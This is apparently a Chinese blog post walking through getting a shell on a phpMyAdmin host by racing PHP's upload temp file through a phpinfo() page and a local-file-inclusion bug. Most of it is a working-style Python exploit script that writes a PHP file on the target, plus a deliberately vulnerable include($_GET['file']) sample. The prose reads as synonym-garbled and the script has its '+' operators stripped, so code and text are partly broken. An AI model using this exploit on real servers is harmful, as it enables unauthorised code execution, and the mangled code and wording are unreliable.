phpmyadmin包括系统漏洞做演试
前言
使我们提升重重的严苛自然环境GetShell,原文中有以phpmyadmin包括系统漏洞做演试。
PS:文中仅用以技术讨论与剖析,禁止用以一切不法主要用途,违反者后果很严重。
系统漏洞情况
当您在发觉PHP本地文件包括系统漏洞的情况下,却难堪于沒有提交点,或是遭受base_dir的限定,能够试着用以下实际操作开展提升。
运用标准
1.存有PHP文件包含系统漏洞
2.存有PHPINFO泄露网页页面,或是别的debug泄露,获得tmp_name值
系统漏洞重现
演试自然环境:Windows php 5.6
0x01:PHP上传文件
example:
<?php
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/pjpeg"))
&& ($_FILES["file"]["size"] < 20000))
{
if ($_FILES["file"]["error"] > 0)
{
echo "Error: " . $_FILES["file"]["error"] . "<br />";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Stored in: " . $_FILES["file"]["tmp_name"];
}
}
else
{
echo "Invalid file";
}
?>
上边的事例在网络服务器的 PHP 临时文件夹建立了一个被文件上传的临时性团本,可是并沒有储存,
文件上传名以php random(6) 开展拼凑
在给PHP推送POST数据文件时,假如数据文件里包括文档区块链,不管你浏览的编码中有木有解决上传文件的逻辑性,PHP都是将这一文档储存成一个临时文件夹
这一文档在转化成的一瞬间又被删掉,运用标准市场竞争开展包括
0x02:获得临时性文件夹名称
phpinfo() 会复印出全部要求的自变量,因此 大家只必须向phpinfo 推送 文件上传的数据文件,就可以获得到临时性文件夹名称
可是文件删除的速率迅速,造成 标准市场竞争难以运用,通过学习P牛老师傅的文章内容,
必须采用标准市场竞争,实际步骤以下:
1.php默认设置的缓冲区域尺寸为4096,每一次回到的socket联接为4096字节数
2.由于phpinfo 会复印出全部接受的数据信息,大家必须推送垃圾数据,让Response回显的內容非常大
3.运用原生态的socket 创建联接,操纵回到,每一次只载入4096字节数,要是获得到文件夹名称,就立刻推送第二个数据文件
4.这时第一个socket联接并沒有完毕,因此 能够运用这一时差,开展标准市场竞争,运用文件包含系统漏洞开展getshell
重现
phpinfo.php
<?php phpinfo();?>
lfi.php
<?php
$a=$_GET['file'];
include($a);
?>
运用脚本制作,windows 自然环境下 //我这边是windows 自然环境检测,关键改动切成片获得的文件夹名称,随后依据实际实战演练自然环境去改动REQ1 REQ2
#!/usr/bin/python
import sys
import threading
import socket
def setup(host, port):
TAG = "Security Test"
PAYLOAD = """%s\r
<?php file_put_contents('aaa.php','<?php phpinfo();?>');?>\r""" % TAG
REQ1_DATA = """-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding = "A" * 5000
REQ1 = """POST /phpinfo.php?a=""" padding """ HTTP/1.1\r
Cookie: PHPSESSID=aqf2ev7vo5puq7bpbnihcs1080bdanfo1j; othercookie=""" padding """\r
HTTP_ACCEPT: """ padding """\r
HTTP_USER_AGENT: """ padding """\r
HTTP_ACCEPT_LANGUAGE: """ padding """\r
HTTP_PRAGMA: """ padding """\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" % (len(REQ1_DATA), host, REQ1_DATA)
# modify this to suit the LFI script
LFIREQ = """GET /ec.php?file=%s HTTP/1.1\r
Cookie: xxxx\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s2.connect((host, port))
s.send(phpinforeq)
d = ""
while len(d) < offset:
d = s.recv(offset)
try:
i = d.index("[tmp_name] => ")
fn = d[i 17:i 48]
print(fn)
except ValueError:
return None
s2.send(lfireq % (fn, host))
d = s2.recv(4096)
print(lfireq % (fn, host))
print(d)
s.close()
s2.close()
if d.find(tag) != -1:
return fn
counter = 0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args
def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter = 1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print
"\nGot it! Shell created in /tmp/g"
self.event.set()
except socket.error:
return
def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(phpinforeq)
d = ""
while True:
i = s.recv(4096)
d = i
if i == "":
break
# detect the final chunk
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] => ")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
print
"found %s at %i" % (d[i:i 10], i)
# padded up a bit
return i 256
def main():
print
"LFI With PHPInfo()"
print
"-=" * 30
if len(sys.argv) < 2:
print
"Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)
try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print
"Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)
port = 80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError as e:
print
"Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)
poolsz = 10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print
"Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)
print
"Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()
maxattempts = 1000
e = threading.Event()
l = threading.Lock()
print
"Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()
tp = []
for i in range(0, poolsz):
tp.append(ThreadWorker(e, l, maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write("\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
 
; print
if e.is_set():
print
"Woot! \m/"
else:
print
":("
except KeyboardInterrupt:
print
"\nTelling threads to shutdown..."
e.set()
print
"Shuttin' down..."
for t in tp:
t.join()
if __name__ == "__main__":
main()
GetShell:
主要参数: target_host port thread
这时的aaa.php 并不会有,我将载入一个aaa.php 內容为
Run:
能够见到,temp早已造成了临时文件夹,(手简单捉到的,临时文件夹会迅速删掉)
更新浏览 aaa.php
实战演练情景:
默认设置phpmyadmin,加phpinfo 探头(某服务器默认设置建网站自然环境)
1.运用phpmyadmin 的文件包含系统漏洞,
2.根据探头网页页面,推送提交包,获得临时性文件夹名称,
3.标准市场竞争 getshell
(有哥哥很有可能会跟我说,为何不包含系统日志等,由于我碰到了open_basedir,限定很死)
踩坑随笔:
mysql写在tmp的文档,www客户无管理权限载入。
open_basedir 限定php包括途径。
无提交点,因此 运用该系统漏洞开展提升極限~
PY:还记得把py脚本制作修改,切成片在windows下获得文件夹名称 会踩坑,用re就好了,有点儿懒,我也简易改了一下临时性用,哥哥们实际操作的情况下还记得改一下。
参照
微信公众号:EDISEC 系统漏洞发掘(实际连接仿佛删掉了.....)
https://dl.packetstormsecurity.net/papers/general/LFI_With_PHPInfo_Assitance.pdf
https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.zh-cn.md
相关文章
- 2条评论
- 末屿颇倔2022-05-28 05:09:08
- t.join()if __name__ == "__main__": main() GetShell: 主要参数: targe
- 末屿倾酏2022-05-28 06:03:37
- ot e.wait(1): if e.is_set():